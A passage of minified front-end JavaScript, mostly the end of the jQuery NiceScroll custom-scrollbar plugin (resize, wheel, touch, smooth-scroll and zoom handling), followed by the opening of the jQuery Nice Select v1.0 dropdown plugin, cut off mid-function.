+a.iframe.body.scrollHeight)}},a.docscroll=f(a.iframe.body));if(!e.isios&&a.opt.iframeautoresize&&!a.isiframe){a.win.scrollTop(0);a.doc.height("");var d=Math.max(c.getElementsByTagName("html")[0].scrollHeight,c.body.scrollHeight);a.doc.height(d)}a.lazyResize(30);e.isie7&&a.css(f(a.iframe.html),b);a.css(f(a.iframe.body),b);e.isios&&a.haswrapper&&a.css(f(c.body),{"-webkit-transform":"translate3d(0,0,0)"});"contentWindow"in this?a.bind(this.contentWindow,"scroll",a.onscroll):a.bind(c,"scroll",a.onscroll); +a.opt.enablemousewheel&&a.mousewheel(c,a.onmousewheel);a.opt.enablekeyboard&&a.bind(c,e.isopera?"keypress":"keydown",a.onkeypress);if(e.cantouch||a.opt.touchbehavior)a.bind(c,"mousedown",a.ontouchstart),a.bind(c,"mousemove",function(b){return a.ontouchmove(b,!0)}),a.opt.grabcursorenabled&&e.cursorgrabvalue&&a.css(f(c.body),{cursor:e.cursorgrabvalue});a.bind(c,"mouseup",a.ontouchend);a.zoom&&(a.opt.dblclickzoom&&a.bind(c,"dblclick",a.doZoom),a.ongesturezoom&&a.bind(c,"gestureend",a.ongesturezoom))}; +this.doc[0].readyState&&"complete"==this.doc[0].readyState&&setTimeout(function(){N.call(a.doc[0],!1)},500);a.bind(this.doc,"load",N)}};this.showCursor=function(b,c){a.cursortimeout&&(clearTimeout(a.cursortimeout),a.cursortimeout=0);if(a.rail){a.autohidedom&&(a.autohidedom.stop().css({opacity:a.opt.cursoropacitymax}),a.cursoractive=!0);a.rail.drag&&1==a.rail.drag.pt||(void 0!==b&&!1!==b&&(a.scroll.y=Math.round(1*b/a.scrollratio.y)),void 0!==c&&(a.scroll.x=Math.round(1*c/a.scrollratio.x)));a.cursor.css({height:a.cursorheight, +top:a.scroll.y});if(a.cursorh){var d=a.hasreversehr?a.scrollvaluemaxw-a.scroll.x:a.scroll.x;!a.rail.align&&a.rail.visibility?a.cursorh.css({width:a.cursorwidth,left:d+a.rail.width}):a.cursorh.css({width:a.cursorwidth,left:d});a.cursoractive=!0}a.zoom&&a.zoom.stop().css({opacity:a.opt.cursoropacitymax})}};this.hideCursor=function(b){a.cursortimeout||!a.rail||!a.autohidedom||a.hasmousefocus&&"leave"==a.opt.autohidemode||(a.cursortimeout=setTimeout(function(){a.rail.active&&a.showonmouseevent||(a.autohidedom.stop().animate({opacity:a.opt.cursoropacitymin}), +a.zoom&&a.zoom.stop().animate({opacity:a.opt.cursoropacitymin}),a.cursoractive=!1);a.cursortimeout=0},b||a.opt.hidecursordelay))};this.noticeCursor=function(b,c,d){a.showCursor(c,d);a.rail.active||a.hideCursor(b)};this.getContentSize=a.ispage?function(){return{w:Math.max(document.body.scrollWidth,document.documentElement.scrollWidth),h:Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)}}:a.haswrapper?function(){return{w:a.doc.outerWidth()+parseInt(a.win.css("paddingLeft"))+ +parseInt(a.win.css("paddingRight")),h:a.doc.outerHeight()+parseInt(a.win.css("paddingTop"))+parseInt(a.win.css("paddingBottom"))}}:function(){return{w:a.docscroll[0].scrollWidth,h:a.docscroll[0].scrollHeight}};this.onResize=function(b,c){if(!a||!a.win)return!1;if(!a.haswrapper&&!a.ispage){if("none"==a.win.css("display"))return a.visibility&&a.hideRail().hideRailHr(),!1;a.hidden||a.visibility||a.showRail().showRailHr()}var d=a.page.maxh,e=a.page.maxw,f=a.view.h,k=a.view.w;a.view={w:a.ispage?a.win.width(): +parseInt(a.win[0].clientWidth),h:a.ispage?a.win.height():parseInt(a.win[0].clientHeight)};a.page=c?c:a.getContentSize();a.page.maxh=Math.max(0,a.page.h-a.view.h);a.page.maxw=Math.max(0,a.page.w-a.view.w);if(a.page.maxh==d&&a.page.maxw==e&&a.view.w==k&&a.view.h==f){if(a.ispage)return a;d=a.win.offset();if(a.lastposition&&(e=a.lastposition,e.top==d.top&&e.left==d.left))return a;a.lastposition=d}0==a.page.maxh?(a.hideRail(),a.scrollvaluemax=0,a.scroll.y=0,a.scrollratio.y=0,a.cursorheight=0,a.setScrollTop(0), +a.rail&&(a.rail.scrollable=!1)):(a.page.maxh-=a.opt.railpadding.top+a.opt.railpadding.bottom,a.rail.scrollable=!0);0==a.page.maxw?(a.hideRailHr(),a.scrollvaluemaxw=0,a.scroll.x=0,a.scrollratio.x=0,a.cursorwidth=0,a.setScrollLeft(0),a.railh&&(a.railh.scrollable=!1)):(a.page.maxw-=a.opt.railpadding.left+a.opt.railpadding.right,a.railh&&(a.railh.scrollable=a.opt.horizrailenabled));a.railslocked=a.locked||0==a.page.maxh&&0==a.page.maxw;if(a.railslocked)return a.ispage||a.updateScrollBar(a.view),!1;a.hidden|| +a.visibility?!a.railh||a.hidden||a.railh.visibility||a.showRailHr():a.showRail().showRailHr();a.istextarea&&a.win.css("resize")&&"none"!=a.win.css("resize")&&(a.view.h-=20);a.cursorheight=Math.min(a.view.h,Math.round(a.view.h/a.page.h*a.view.h));a.cursorheight=a.opt.cursorfixedheight?a.opt.cursorfixedheight:Math.max(a.opt.cursorminheight,a.cursorheight);a.cursorwidth=Math.min(a.view.w,Math.round(a.view.w/a.page.w*a.view.w));a.cursorwidth=a.opt.cursorfixedheight?a.opt.cursorfixedheight:Math.max(a.opt.cursorminheight, +a.cursorwidth);a.scrollvaluemax=a.view.h-a.cursorheight-a.cursor.hborder-(a.opt.railpadding.top+a.opt.railpadding.bottom);a.railh&&(a.railh.width=0<a.page.maxh?a.view.w-a.rail.width:a.view.w,a.scrollvaluemaxw=a.railh.width-a.cursorwidth-a.cursorh.wborder-(a.opt.railpadding.left+a.opt.railpadding.right));a.ispage||a.updateScrollBar(a.view);a.scrollratio={x:a.page.maxw/a.scrollvaluemaxw,y:a.page.maxh/a.scrollvaluemax};a.getScrollTop()>a.page.maxh?a.doScrollTop(a.page.maxh):(a.scroll.y=Math.round(a.getScrollTop()* +(1/a.scrollratio.y)),a.scroll.x=Math.round(a.getScrollLeft()*(1/a.scrollratio.x)),a.cursoractive&&a.noticeCursor());a.scroll.y&&0==a.getScrollTop()&&a.doScrollTo(Math.floor(a.scroll.y*a.scrollratio.y));return a};this.resize=a.onResize;this.hlazyresize=0;this.lazyResize=function(b){a.haswrapper||a.hide();a.hlazyresize&&clearTimeout(a.hlazyresize);a.hlazyresize=setTimeout(function(){a&&a.show().resize()},240);return a};this.jqbind=function(b,c,d){a.events.push({e:b,n:c,f:d,q:!0});f(b).bind(c,d)};this.mousewheel= +function(b,c,d){b="jquery"in b?b[0]:b;if("onwheel"in document.createElement("div"))a._bind(b,"wheel",c,d||!1);else{var e=void 0!==document.onmousewheel?"mousewheel":"DOMMouseScroll";q(b,e,c,d||!1);"DOMMouseScroll"==e&&q(b,"MozMousePixelScroll",c,d||!1)}};e.haseventlistener?(this.bind=function(b,c,d,e){a._bind("jquery"in b?b[0]:b,c,d,e||!1)},this._bind=function(b,c,d,e){a.events.push({e:b,n:c,f:d,b:e,q:!1});b.addEventListener(c,d,e||!1)},this.cancelEvent=function(a){if(!a)return!1;a=a.original?a.original: +a;a.cancelable&&a.preventDefault();a.stopPropagation();a.preventManipulation&&a.preventManipulation();return!1},this.stopPropagation=function(a){if(!a)return!1;a=a.original?a.original:a;a.stopPropagation();return!1},this._unbind=function(a,c,d,e){a.removeEventListener(c,d,e)}):(this.bind=function(b,c,d,e){var f="jquery"in b?b[0]:b;a._bind(f,c,function(b){(b=b||window.event||!1)&&b.srcElement&&(b.target=b.srcElement);"pageY"in b||(b.pageX=b.clientX+document.documentElement.scrollLeft,b.pageY=b.clientY+ +document.documentElement.scrollTop);return!1===d.call(f,b)||!1===e?a.cancelEvent(b):!0})},this._bind=function(b,c,d,e){a.events.push({e:b,n:c,f:d,b:e,q:!1});b.attachEvent?b.attachEvent("on"+c,d):b["on"+c]=d},this.cancelEvent=function(a){a=window.event||!1;if(!a)return!1;a.cancelBubble=!0;a.cancel=!0;return a.returnValue=!1},this.stopPropagation=function(a){a=window.event||!1;if(!a)return!1;a.cancelBubble=!0;return!1},this._unbind=function(a,c,d,e){a.detachEvent?a.detachEvent("on"+c,d):a["on"+c]=!1}); +this.unbindAll=function(){for(var b=0;b<a.events.length;b++){var c=a.events[b];c.q?c.e.unbind(c.n,c.f):a._unbind(c.e,c.n,c.f,c.b)}};this.showRail=function(){0==a.page.maxh||!a.ispage&&"none"==a.win.css("display")||(a.visibility=!0,a.rail.visibility=!0,a.rail.css("display","block"));return a};this.showRailHr=function(){if(!a.railh)return a;0==a.page.maxw||!a.ispage&&"none"==a.win.css("display")||(a.railh.visibility=!0,a.railh.css("display","block"));return a};this.hideRail=function(){a.visibility= +!1;a.rail.visibility=!1;a.rail.css("display","none");return a};this.hideRailHr=function(){if(!a.railh)return a;a.railh.visibility=!1;a.railh.css("display","none");return a};this.show=function(){a.hidden=!1;a.railslocked=!1;return a.showRail().showRailHr()};this.hide=function(){a.hidden=!0;a.railslocked=!0;return a.hideRail().hideRailHr()};this.toggle=function(){return a.hidden?a.show():a.hide()};this.remove=function(){a.stop();a.cursortimeout&&clearTimeout(a.cursortimeout);for(var b in a.delaylist)a.delaylist[b]&& +w(a.delaylist[b].h);a.doZoomOut();a.unbindAll();e.isie9&&a.win[0].detachEvent("onpropertychange",a.onAttributeChange);!1!==a.observer&&a.observer.disconnect();!1!==a.observerremover&&a.observerremover.disconnect();!1!==a.observerbody&&a.observerbody.disconnect();a.events=null;a.cursor&&a.cursor.remove();a.cursorh&&a.cursorh.remove();a.rail&&a.rail.remove();a.railh&&a.railh.remove();a.zoom&&a.zoom.remove();for(b=0;b<a.saved.css.length;b++){var c=a.saved.css[b];c[0].css(c[1],void 0===c[2]?"":c[2])}a.saved= +!1;a.me.data("__nicescroll","");var d=f.nicescroll;d.each(function(b){if(this&&this.id===a.id){delete d[b];for(var c=++b;c<d.length;c++,b++)d[b]=d[c];d.length--;d.length&&delete d[d.length]}});for(var k in a)a[k]=null,delete a[k];a=null};this.scrollstart=function(b){this.onscrollstart=b;return a};this.scrollend=function(b){this.onscrollend=b;return a};this.scrollcancel=function(b){this.onscrollcancel=b;return a};this.zoomin=function(b){this.onzoomin=b;return a};this.zoomout=function(b){this.onzoomout= +b;return a};this.isScrollable=function(a){a=a.target?a.target:a;if("OPTION"==a.nodeName)return!0;for(;a&&1==a.nodeType&&!/^BODY|HTML/.test(a.nodeName);){var c=f(a),c=c.css("overflowY")||c.css("overflowX")||c.css("overflow")||"";if(/scroll|auto/.test(c))return a.clientHeight!=a.scrollHeight;a=a.parentNode?a.parentNode:!1}return!1};this.getViewport=function(a){for(a=a&&a.parentNode?a.parentNode:!1;a&&1==a.nodeType&&!/^BODY|HTML/.test(a.nodeName);){var c=f(a);if(/fixed|absolute/.test(c.css("position")))return c; +var d=c.css("overflowY")||c.css("overflowX")||c.css("overflow")||"";if(/scroll|auto/.test(d)&&a.clientHeight!=a.scrollHeight||0<c.getNiceScroll().length)return c;a=a.parentNode?a.parentNode:!1}return!1};this.triggerScrollEnd=function(){if(a.onscrollend){var b=a.getScrollLeft(),c=a.getScrollTop();a.onscrollend.call(a,{type:"scrollend",current:{x:b,y:c},end:{x:b,y:c}})}};this.onmousewheel=function(b){if(!a.wheelprevented){if(a.railslocked)return a.debounced("checkunlock",a.resize,250),!0;if(a.rail.drag)return a.cancelEvent(b); +"auto"==a.opt.oneaxismousemode&&0!=b.deltaX&&(a.opt.oneaxismousemode=!1);if(a.opt.oneaxismousemode&&0==b.deltaX&&!a.rail.scrollable)return a.railh&&a.railh.scrollable?a.onmousewheelhr(b):!0;var c=+new Date,d=!1;a.opt.preservenativescrolling&&a.checkarea+600<c&&(a.nativescrollingarea=a.isScrollable(b),d=!0);a.checkarea=c;if(a.nativescrollingarea)return!0;if(b=t(b,!1,d))a.checkarea=0;return b}};this.onmousewheelhr=function(b){if(!a.wheelprevented){if(a.railslocked||!a.railh.scrollable)return!0;if(a.rail.drag)return a.cancelEvent(b); +var c=+new Date,d=!1;a.opt.preservenativescrolling&&a.checkarea+600<c&&(a.nativescrollingarea=a.isScrollable(b),d=!0);a.checkarea=c;return a.nativescrollingarea?!0:a.railslocked?a.cancelEvent(b):t(b,!0,d)}};this.stop=function(){a.cancelScroll();a.scrollmon&&a.scrollmon.stop();a.cursorfreezed=!1;a.scroll.y=Math.round(a.getScrollTop()*(1/a.scrollratio.y));a.noticeCursor();return a};this.getTransitionSpeed=function(b){b=Math.min(Math.round(10*a.opt.scrollspeed),Math.round(b/20*a.opt.scrollspeed));return 20< +b?b:0};a.opt.smoothscroll?a.ishwscroll&&e.hastransition&&a.opt.usetransition&&a.opt.smoothscroll?(this.prepareTransition=function(b,c){var d=c?20<b?b:0:a.getTransitionSpeed(b),f=d?e.prefixstyle+"transform "+d+"ms ease-out":"";a.lasttransitionstyle&&a.lasttransitionstyle==f||(a.lasttransitionstyle=f,a.doc.css(e.transitionstyle,f));return d},this.doScrollLeft=function(b,c){var d=a.scrollrunning?a.newscrolly:a.getScrollTop();a.doScrollPos(b,d,c)},this.doScrollTop=function(b,c){var d=a.scrollrunning? +a.newscrollx:a.getScrollLeft();a.doScrollPos(d,b,c)},this.doScrollPos=function(b,c,d){var f=a.getScrollTop(),k=a.getScrollLeft();(0>(a.newscrolly-f)*(c-f)||0>(a.newscrollx-k)*(b-k))&&a.cancelScroll();0==a.opt.bouncescroll&&(0>c?c=0:c>a.page.maxh&&(c=a.page.maxh),0>b?b=0:b>a.page.maxw&&(b=a.page.maxw));if(a.scrollrunning&&b==a.newscrollx&&c==a.newscrolly)return!1;a.newscrolly=c;a.newscrollx=b;a.newscrollspeed=d||!1;if(a.timer)return!1;a.timer=setTimeout(function(){var d=a.getScrollTop(),f=a.getScrollLeft(), +k=Math.round(Math.sqrt(Math.pow(b-f,2)+Math.pow(c-d,2))),k=a.newscrollspeed&&1<a.newscrollspeed?a.newscrollspeed:a.getTransitionSpeed(k);a.newscrollspeed&&1>=a.newscrollspeed&&(k*=a.newscrollspeed);a.prepareTransition(k,!0);a.timerscroll&&a.timerscroll.tm&&clearInterval(a.timerscroll.tm);0<k&&(!a.scrollrunning&&a.onscrollstart&&a.onscrollstart.call(a,{type:"scrollstart",current:{x:f,y:d},request:{x:b,y:c},end:{x:a.newscrollx,y:a.newscrolly},speed:k}),e.transitionend?a.scrollendtrapped||(a.scrollendtrapped= +!0,a.bind(a.doc,e.transitionend,a.onScrollTransitionEnd,!1)):(a.scrollendtrapped&&clearTimeout(a.scrollendtrapped),a.scrollendtrapped=setTimeout(a.onScrollTransitionEnd,k)),a.timerscroll={bz:new D(d,a.newscrolly,k,0,0,.58,1),bh:new D(f,a.newscrollx,k,0,0,.58,1)},a.cursorfreezed||(a.timerscroll.tm=setInterval(function(){a.showCursor(a.getScrollTop(),a.getScrollLeft())},60)));a.synched("doScroll-set",function(){a.timer=0;a.scrollendtrapped&&(a.scrollrunning=!0);a.setScrollTop(a.newscrolly);a.setScrollLeft(a.newscrollx); +if(!a.scrollendtrapped)a.onScrollTransitionEnd()})},50)},this.cancelScroll=function(){if(!a.scrollendtrapped)return!0;var b=a.getScrollTop(),c=a.getScrollLeft();a.scrollrunning=!1;e.transitionend||clearTimeout(e.transitionend);a.scrollendtrapped=!1;a._unbind(a.doc[0],e.transitionend,a.onScrollTransitionEnd);a.prepareTransition(0);a.setScrollTop(b);a.railh&&a.setScrollLeft(c);a.timerscroll&&a.timerscroll.tm&&clearInterval(a.timerscroll.tm);a.timerscroll=!1;a.cursorfreezed=!1;a.showCursor(b,c);return a}, +this.onScrollTransitionEnd=function(){a.scrollendtrapped&&a._unbind(a.doc[0],e.transitionend,a.onScrollTransitionEnd);a.scrollendtrapped=!1;a.prepareTransition(0);a.timerscroll&&a.timerscroll.tm&&clearInterval(a.timerscroll.tm);a.timerscroll=!1;var b=a.getScrollTop(),c=a.getScrollLeft();a.setScrollTop(b);a.railh&&a.setScrollLeft(c);a.noticeCursor(!1,b,c);a.cursorfreezed=!1;0>b?b=0:b>a.page.maxh&&(b=a.page.maxh);0>c?c=0:c>a.page.maxw&&(c=a.page.maxw);if(b!=a.newscrolly||c!=a.newscrollx)return a.doScrollPos(c, +b,a.opt.snapbackspeed);a.onscrollend&&a.scrollrunning&&a.triggerScrollEnd();a.scrollrunning=!1}):(this.doScrollLeft=function(b,c){var d=a.scrollrunning?a.newscrolly:a.getScrollTop();a.doScrollPos(b,d,c)},this.doScrollTop=function(b,c){var d=a.scrollrunning?a.newscrollx:a.getScrollLeft();a.doScrollPos(d,b,c)},this.doScrollPos=function(b,c,d){function e(){if(a.cancelAnimationFrame)return!0;a.scrollrunning=!0;if(p=1-p)return a.timer=v(e)||1;var b=0,c,d,f=d=a.getScrollTop();if(a.dst.ay){f=a.bzscroll? +a.dst.py+a.bzscroll.getNow()*a.dst.ay:a.newscrolly;c=f-d;if(0>c&&f<a.newscrolly||0<c&&f>a.newscrolly)f=a.newscrolly;a.setScrollTop(f);f==a.newscrolly&&(b=1)}else b=1;d=c=a.getScrollLeft();if(a.dst.ax){d=a.bzscroll?a.dst.px+a.bzscroll.getNow()*a.dst.ax:a.newscrollx;c=d-c;if(0>c&&d<a.newscrollx||0<c&&d>a.newscrollx)d=a.newscrollx;a.setScrollLeft(d);d==a.newscrollx&&(b+=1)}else b+=1;2==b?(a.timer=0,a.cursorfreezed=!1,a.bzscroll=!1,a.scrollrunning=!1,0>f?f=0:f>a.page.maxh&&(f=Math.max(0,a.page.maxh)), +0>d?d=0:d>a.page.maxw&&(d=a.page.maxw),d!=a.newscrollx||f!=a.newscrolly?a.doScrollPos(d,f):a.onscrollend&&a.triggerScrollEnd()):a.timer=v(e)||1}c=void 0===c||!1===c?a.getScrollTop(!0):c;if(a.timer&&a.newscrolly==c&&a.newscrollx==b)return!0;a.timer&&w(a.timer);a.timer=0;var f=a.getScrollTop(),k=a.getScrollLeft();(0>(a.newscrolly-f)*(c-f)||0>(a.newscrollx-k)*(b-k))&&a.cancelScroll();a.newscrolly=c;a.newscrollx=b;a.bouncescroll&&a.rail.visibility||(0>a.newscrolly?a.newscrolly=0:a.newscrolly>a.page.maxh&& +(a.newscrolly=a.page.maxh));a.bouncescroll&&a.railh.visibility||(0>a.newscrollx?a.newscrollx=0:a.newscrollx>a.page.maxw&&(a.newscrollx=a.page.maxw));a.dst={};a.dst.x=b-k;a.dst.y=c-f;a.dst.px=k;a.dst.py=f;var h=Math.round(Math.sqrt(Math.pow(a.dst.x,2)+Math.pow(a.dst.y,2)));a.dst.ax=a.dst.x/h;a.dst.ay=a.dst.y/h;var l=0,n=h;0==a.dst.x?(l=f,n=c,a.dst.ay=1,a.dst.py=0):0==a.dst.y&&(l=k,n=b,a.dst.ax=1,a.dst.px=0);h=a.getTransitionSpeed(h);d&&1>=d&&(h*=d);a.bzscroll=0<h?a.bzscroll?a.bzscroll.update(n,h): +new D(l,n,h,0,1,0,1):!1;if(!a.timer){(f==a.page.maxh&&c>=a.page.maxh||k==a.page.maxw&&b>=a.page.maxw)&&a.checkContentSize();var p=1;a.cancelAnimationFrame=!1;a.timer=1;a.onscrollstart&&!a.scrollrunning&&a.onscrollstart.call(a,{type:"scrollstart",current:{x:k,y:f},request:{x:b,y:c},end:{x:a.newscrollx,y:a.newscrolly},speed:h});e();(f==a.page.maxh&&c>=f||k==a.page.maxw&&b>=k)&&a.checkContentSize();a.noticeCursor()}},this.cancelScroll=function(){a.timer&&w(a.timer);a.timer=0;a.bzscroll=!1;a.scrollrunning= +!1;return a}):(this.doScrollLeft=function(b,c){var d=a.getScrollTop();a.doScrollPos(b,d,c)},this.doScrollTop=function(b,c){var d=a.getScrollLeft();a.doScrollPos(d,b,c)},this.doScrollPos=function(b,c,d){var e=b>a.page.maxw?a.page.maxw:b;0>e&&(e=0);var f=c>a.page.maxh?a.page.maxh:c;0>f&&(f=0);a.synched("scroll",function(){a.setScrollTop(f);a.setScrollLeft(e)})},this.cancelScroll=function(){});this.doScrollBy=function(b,c){var d=0,d=c?Math.floor((a.scroll.y-b)*a.scrollratio.y):(a.timer?a.newscrolly: +a.getScrollTop(!0))-b;if(a.bouncescroll){var e=Math.round(a.view.h/2);d<-e?d=-e:d>a.page.maxh+e&&(d=a.page.maxh+e)}a.cursorfreezed=!1;e=a.getScrollTop(!0);if(0>d&&0>=e)return a.noticeCursor();if(d>a.page.maxh&&e>=a.page.maxh)return a.checkContentSize(),a.noticeCursor();a.doScrollTop(d)};this.doScrollLeftBy=function(b,c){var d=0,d=c?Math.floor((a.scroll.x-b)*a.scrollratio.x):(a.timer?a.newscrollx:a.getScrollLeft(!0))-b;if(a.bouncescroll){var e=Math.round(a.view.w/2);d<-e?d=-e:d>a.page.maxw+e&&(d=a.page.maxw+ +e)}a.cursorfreezed=!1;e=a.getScrollLeft(!0);if(0>d&&0>=e||d>a.page.maxw&&e>=a.page.maxw)return a.noticeCursor();a.doScrollLeft(d)};this.doScrollTo=function(b,c){a.cursorfreezed=!1;a.doScrollTop(b)};this.checkContentSize=function(){var b=a.getContentSize();b.h==a.page.h&&b.w==a.page.w||a.resize(!1,b)};a.onscroll=function(b){a.rail.drag||a.cursorfreezed||a.synched("scroll",function(){a.scroll.y=Math.round(a.getScrollTop()*(1/a.scrollratio.y));a.railh&&(a.scroll.x=Math.round(a.getScrollLeft()*(1/a.scrollratio.x))); +a.noticeCursor()})};a.bind(a.docscroll,"scroll",a.onscroll);this.doZoomIn=function(b){if(!a.zoomactive){a.zoomactive=!0;a.zoomrestore={style:{}};var c="position top left zIndex backgroundColor marginTop marginBottom marginLeft marginRight".split(" "),d=a.win[0].style,k;for(k in c){var h=c[k];a.zoomrestore.style[h]=void 0!==d[h]?d[h]:""}a.zoomrestore.style.width=a.win.css("width");a.zoomrestore.style.height=a.win.css("height");a.zoomrestore.padding={w:a.win.outerWidth()-a.win.width(),h:a.win.outerHeight()- +a.win.height()};e.isios4&&(a.zoomrestore.scrollTop=f(window).scrollTop(),f(window).scrollTop(0));a.win.css({position:e.isios4?"absolute":"fixed",top:0,left:0,zIndex:A+100,margin:0});c=a.win.css("backgroundColor");(""==c||/transparent|rgba\(0, 0, 0, 0\)|rgba\(0,0,0,0\)/.test(c))&&a.win.css("backgroundColor","#fff");a.rail.css({zIndex:A+101});a.zoom.css({zIndex:A+102});a.zoom.css("backgroundPosition","0px -18px");a.resizeZoom();a.onzoomin&&a.onzoomin.call(a);return a.cancelEvent(b)}};this.doZoomOut= +function(b){if(a.zoomactive)return a.zoomactive=!1,a.win.css("margin",""),a.win.css(a.zoomrestore.style),e.isios4&&f(window).scrollTop(a.zoomrestore.scrollTop),a.rail.css({"z-index":a.zindex}),a.zoom.css({"z-index":a.zindex}),a.zoomrestore=!1,a.zoom.css("backgroundPosition","0px 0px"),a.onResize(),a.onzoomout&&a.onzoomout.call(a),a.cancelEvent(b)};this.doZoom=function(b){return a.zoomactive?a.doZoomOut(b):a.doZoomIn(b)};this.resizeZoom=function(){if(a.zoomactive){var b=a.getScrollTop();a.win.css({width:f(window).width()- +a.zoomrestore.padding.w+"px",height:f(window).height()-a.zoomrestore.padding.h+"px"});a.onResize();a.setScrollTop(Math.min(a.page.maxh,b))}};this.init();f.nicescroll.push(this)},M=function(f){var c=this;this.nc=f;this.steptime=this.lasttime=this.speedy=this.speedx=this.lasty=this.lastx=0;this.snapy=this.snapx=!1;this.demuly=this.demulx=0;this.lastscrolly=this.lastscrollx=-1;this.timer=this.chky=this.chkx=0;this.time=function(){return+new Date};this.reset=function(f,h){c.stop();var d=c.time();c.steptime= +0;c.lasttime=d;c.speedx=0;c.speedy=0;c.lastx=f;c.lasty=h;c.lastscrollx=-1;c.lastscrolly=-1};this.update=function(f,h){var d=c.time();c.steptime=d-c.lasttime;c.lasttime=d;var d=h-c.lasty,q=f-c.lastx,t=c.nc.getScrollTop(),a=c.nc.getScrollLeft(),t=t+d,a=a+q;c.snapx=0>a||a>c.nc.page.maxw;c.snapy=0>t||t>c.nc.page.maxh;c.speedx=q;c.speedy=d;c.lastx=f;c.lasty=h};this.stop=function(){c.nc.unsynched("domomentum2d");c.timer&&clearTimeout(c.timer);c.timer=0;c.lastscrollx=-1;c.lastscrolly=-1};this.doSnapy=function(f, +h){var d=!1;0>h?(h=0,d=!0):h>c.nc.page.maxh&&(h=c.nc.page.maxh,d=!0);0>f?(f=0,d=!0):f>c.nc.page.maxw&&(f=c.nc.page.maxw,d=!0);d?c.nc.doScrollPos(f,h,c.nc.opt.snapbackspeed):c.nc.triggerScrollEnd()};this.doMomentum=function(f){var h=c.time(),d=f?h+f:c.lasttime;f=c.nc.getScrollLeft();var q=c.nc.getScrollTop(),t=c.nc.page.maxh,a=c.nc.page.maxw;c.speedx=0<a?Math.min(60,c.speedx):0;c.speedy=0<t?Math.min(60,c.speedy):0;d=d&&60>=h-d;if(0>q||q>t||0>f||f>a)d=!1;f=c.speedx&&d?c.speedx:!1;if(c.speedy&&d&&c.speedy|| +f){var r=Math.max(16,c.steptime);50<r&&(f=r/50,c.speedx*=f,c.speedy*=f,r=50);c.demulxy=0;c.lastscrollx=c.nc.getScrollLeft();c.chkx=c.lastscrollx;c.lastscrolly=c.nc.getScrollTop();c.chky=c.lastscrolly;var p=c.lastscrollx,e=c.lastscrolly,v=function(){var d=600<c.time()-h?.04:.02;c.speedx&&(p=Math.floor(c.lastscrollx-c.speedx*(1-c.demulxy)),c.lastscrollx=p,0>p||p>a)&&(d=.1);c.speedy&&(e=Math.floor(c.lastscrolly-c.speedy*(1-c.demulxy)),c.lastscrolly=e,0>e||e>t)&&(d=.1);c.demulxy=Math.min(1,c.demulxy+ +d);c.nc.synched("domomentum2d",function(){c.speedx&&(c.nc.getScrollLeft(),c.chkx=p,c.nc.setScrollLeft(p));c.speedy&&(c.nc.getScrollTop(),c.chky=e,c.nc.setScrollTop(e));c.timer||(c.nc.hideCursor(),c.doSnapy(p,e))});1>c.demulxy?c.timer=setTimeout(v,r):(c.stop(),c.nc.hideCursor(),c.doSnapy(p,e))};v()}else c.doSnapy(c.nc.getScrollLeft(),c.nc.getScrollTop())}},y=f.fn.scrollTop;f.cssHooks.pageYOffset={get:function(h,c,k){return(c=f.data(h,"__nicescroll")||!1)&&c.ishwscroll?c.getScrollTop():y.call(h)},set:function(h, +c){var k=f.data(h,"__nicescroll")||!1;k&&k.ishwscroll?k.setScrollTop(parseInt(c)):y.call(h,c);return this}};f.fn.scrollTop=function(h){if(void 0===h){var c=this[0]?f.data(this[0],"__nicescroll")||!1:!1;return c&&c.ishwscroll?c.getScrollTop():y.call(this)}return this.each(function(){var c=f.data(this,"__nicescroll")||!1;c&&c.ishwscroll?c.setScrollTop(parseInt(h)):y.call(f(this),h)})};var z=f.fn.scrollLeft;f.cssHooks.pageXOffset={get:function(h,c,k){return(c=f.data(h,"__nicescroll")||!1)&&c.ishwscroll? +c.getScrollLeft():z.call(h)},set:function(h,c){var k=f.data(h,"__nicescroll")||!1;k&&k.ishwscroll?k.setScrollLeft(parseInt(c)):z.call(h,c);return this}};f.fn.scrollLeft=function(h){if(void 0===h){var c=this[0]?f.data(this[0],"__nicescroll")||!1:!1;return c&&c.ishwscroll?c.getScrollLeft():z.call(this)}return this.each(function(){var c=f.data(this,"__nicescroll")||!1;c&&c.ishwscroll?c.setScrollLeft(parseInt(h)):z.call(f(this),h)})};var E=function(h){var c=this;this.length=0;this.name="nicescrollarray"; +this.each=function(d){f.each(c,d);return c};this.push=function(d){c[c.length]=d;c.length++};this.eq=function(d){return c[d]};if(h)for(var k=0;k<h.length;k++){var l=f.data(h[k],"__nicescroll")||!1;l&&(this[this.length]=l,this.length++)}return this};(function(f,c,k){for(var l=0;l<c.length;l++)k(f,c[l])})(E.prototype,"show hide toggle onResize resize remove stop doScrollPos".split(" "),function(f,c){f[c]=function(){var f=arguments;return this.each(function(){this[c].apply(this,f)})}});f.fn.getNiceScroll= +function(h){return void 0===h?new E(this):this[h]&&f.data(this[h],"__nicescroll")||!1};f.expr[":"].nicescroll=function(h){return void 0!==f.data(h,"__nicescroll")};f.fn.niceScroll=function(h,c){void 0!==c||"object"!=typeof h||"jquery"in h||(c=h,h=!1);c=f.extend({},c);var k=new E;void 0===c&&(c={});h&&(c.doc=f(h),c.win=f(this));var l=!("doc"in c);l||"win"in c||(c.win=f(this));this.each(function(){var d=f(this).data("__nicescroll")||!1;d||(c.doc=l?f(this):c.doc,d=new S(c,f(this)),f(this).data("__nicescroll", +d));k.push(d)});return 1==k.length?k[0]:k};window.NiceScroll={getjQuery:function(){return f}};f.nicescroll||(f.nicescroll=new E,f.nicescroll.options=K)}); + + + +/* JQuery Nice Select - v1.0 +-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + +/* jQuery Nice Select - v1.0 + https://github.com/hernansartorio/jquery-nice-select + Made by Hernán Sartorio */ +!function(e){e.fn.niceSelect=function(t){function s(t){t.after(e("<div></div>").addClass("nice-select").addClass(t.attr("class")||"").addClass(t.attr("disabled")?"disabled":"").attr("tabindex",t.attr("disabled")?null:"0").html('<span class="current"></span><ul class="list"></ul>'));var s=t.next(),n=t.find("option"),i=t.find("option:selected");s.find(".current").html(i.data("display")||i.text()),n.each(function(t){var n=e(this),i=n.data("display");s.find("ul").append(e("<li></li>").attr("data-value",n.val()).attr("data-display",i||null).addClass("option"+(n.is(":selected")?" selected":"")+(n.is(":disabled")?" disabled":"")).html(n.text()))})}if("string"==typeof t)return"update"==t?this.each(function(){var t=e(this),n=e(this).next(".nice-select"),i=n.hasClass("open");n.length&&(n.remove(),s(t),i&&t.next().trigger("click"))}):"destroy"==t?(this.each(function(){var 